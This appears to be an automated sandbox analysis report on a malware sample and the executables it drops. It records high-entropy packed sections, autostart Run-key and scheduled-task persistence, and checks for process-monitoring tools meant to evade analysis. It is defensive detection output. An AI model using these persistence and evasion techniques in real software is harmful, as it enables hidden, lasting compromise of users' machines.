Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Code function: 11_3_01225713 pushfd ; retf 11_3_01225715
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Code function: 11_3_01225713 pushfd ; retf 11_3_01225715
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Code function: 11_3_01225713 pushfd ; retf 11_3_01225715
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Code function: 11_3_059B66B0 pushad ; iretd 11_3_059B66B1
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Code function: 11_3_059B66B0 pushad ; iretd 11_3_059B66B1
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Code function: 11_3_059B66B0 pushad ; iretd 11_3_059B66B1
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Code function: 11_3_059B66B0 pushad ; iretd 11_3_059B66B1
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Code function: 11_3_059B66B0 pushad ; iretd 11_3_059B66B1
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Code function: 11_3_059B66B0 pushad ; iretd 11_3_059B66B1
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Code function: 11_3_059B66B0 pushad ; iretd 11_3_059B66B1
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Code function: 11_3_059B66B0 pushad ; iretd 11_3_059B66B1
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Code function: 11_3_059B66B0 pushad ; iretd 11_3_059B66B1
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Code function: 11_3_059B66B0 pushad ; iretd 11_3_059B66B1
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Code function: 11_3_059B953A push ecx; retf 11_3_059B9560
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Code function: 11_3_059B953A push ecx; retf 11_3_059B9560
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Code function: 11_3_059B953A push ecx; retf 11_3_059B9560
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Code function: 11_3_059B66B0 pushad ; iretd 11_3_059B66B1
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Code function: 11_3_059B66B0 pushad ; iretd 11_3_059B66B1
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Code function: 11_3_059B66B0 pushad ; iretd 11_3_059B66B1
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Code function: 11_3_059B66B0 pushad ; iretd 11_3_059B66B1
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Code function: 11_3_059B66B0 pushad ; iretd 11_3_059B66B1
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Code function: 11_3_059C2E8C push ss; ret 11_3_059C2EA5
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Code function: 11_3_059B66B0 pushad ; iretd 11_3_059B66B1
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Code function: 11_3_059B66B0 pushad ; iretd 11_3_059B66B1
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Code function: 11_3_059B66B0 pushad ; iretd 11_3_059B66B1
Source: file.exe Static PE information: section name: entropy: 7.978140853440023
Source: B7KMZCE66VGDP83M16.exe.0.dr Static PE information: section name: uolrxmar entropy: 7.953449790469483
Source: 8Z5C764IBSHZ8A5U9SVRCREF.exe.0.dr Static PE information: section name: entropy: 7.774389010907879
Source: QZRNZLINJW4FDHW89WOCWU0IJ.exe.0.dr Static PE information: section name: entropy: 7.969312241143842
Source: QZRNZLINJW4FDHW89WOCWU0IJ.exe.0.dr Static PE information: section name: gwmdqjxo entropy: 7.954093232222998
Source: skotes.exe.4.dr Static PE information: section name: entropy: 7.969312241143842
Source: skotes.exe.4.dr Static PE information: section name: gwmdqjxo entropy: 7.954093232222998
Source: random[1].exe.8.dr Static PE information: section name: entropy: 7.978140853440023
Source: 3f779c1cca.exe.8.dr Static PE information: section name: entropy: 7.978140853440023
Source: random[1].exe0.8.dr Static PE information: section name: uolrxmar entropy: 7.953449790469483
Source: 994a9a760e.exe.8.dr Static PE information: section name: uolrxmar entropy: 7.953449790469483
Source: DBQJ2COS8NEE0DVFAHC8.exe.11.dr Static PE information: section name: entropy: 7.969312241143842
Source: DBQJ2COS8NEE0DVFAHC8.exe.11.dr Static PE information: section name: gwmdqjxo entropy: 7.954093232222998
Source: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe.11.dr Static PE information: section name: uolrxmar entropy: 7.953449790469483
Source: 70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe.11.dr Static PE information: section name: entropy: 7.774389010907879
Source: PR9MM82BT6H8ASEPAAV3FFFU6W4.exe.14.dr Static PE information: section name: uolrxmar entropy: 7.953449790469483
Source: QVVPAZNCIISWKSVDLM23B.exe.14.dr Static PE information: section name: entropy: 7.774389010907879
Source: HR483MUGWRQ77A8EZ5D.exe.14.dr Static PE information: section name: entropy: 7.969312241143842
Source: HR483MUGWRQ77A8EZ5D.exe.14.dr Static PE information: section name: gwmdqjxo entropy: 7.954093232222998
Drops PE files
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File created: C:\Users\user\AppData\Local\Temp\QVVPAZNCIISWKSVDLM23B.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1001105001\num.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File created: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File created: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File created: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File created: C:\Users\user\AppData\Local\Temp\HR483MUGWRQ77A8EZ5D.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File created: C:\Users\user\AppData\Local\Temp\PR9MM82BT6H8ASEPAAV3FFFU6W4.exe Jump to dropped file

Boot Survival
barindex
Creates multiple autostart registry keys
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fb9fc5d370.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3f779c1cca.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 994a9a760e.exe Jump to behavior
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Window searched: window name: PROCMON_WINDOW_CLASS
Creates job files (autostart)
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe File created: C:\Windows\Tasks\skotes.job Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3f779c1cca.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3f779c1cca.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 994a9a760e.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 994a9a760e.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fb9fc5d370.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fb9fc5d370.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe Jump to behavior
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Users\user\Desktop\file.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate Jump to behavior
Source: C:\Users\user\Desktop\file.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Registry key monitored for changes: HKEY_CURRENT_USER_Classes
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Process information set: NOOPENFILEERRORBOX
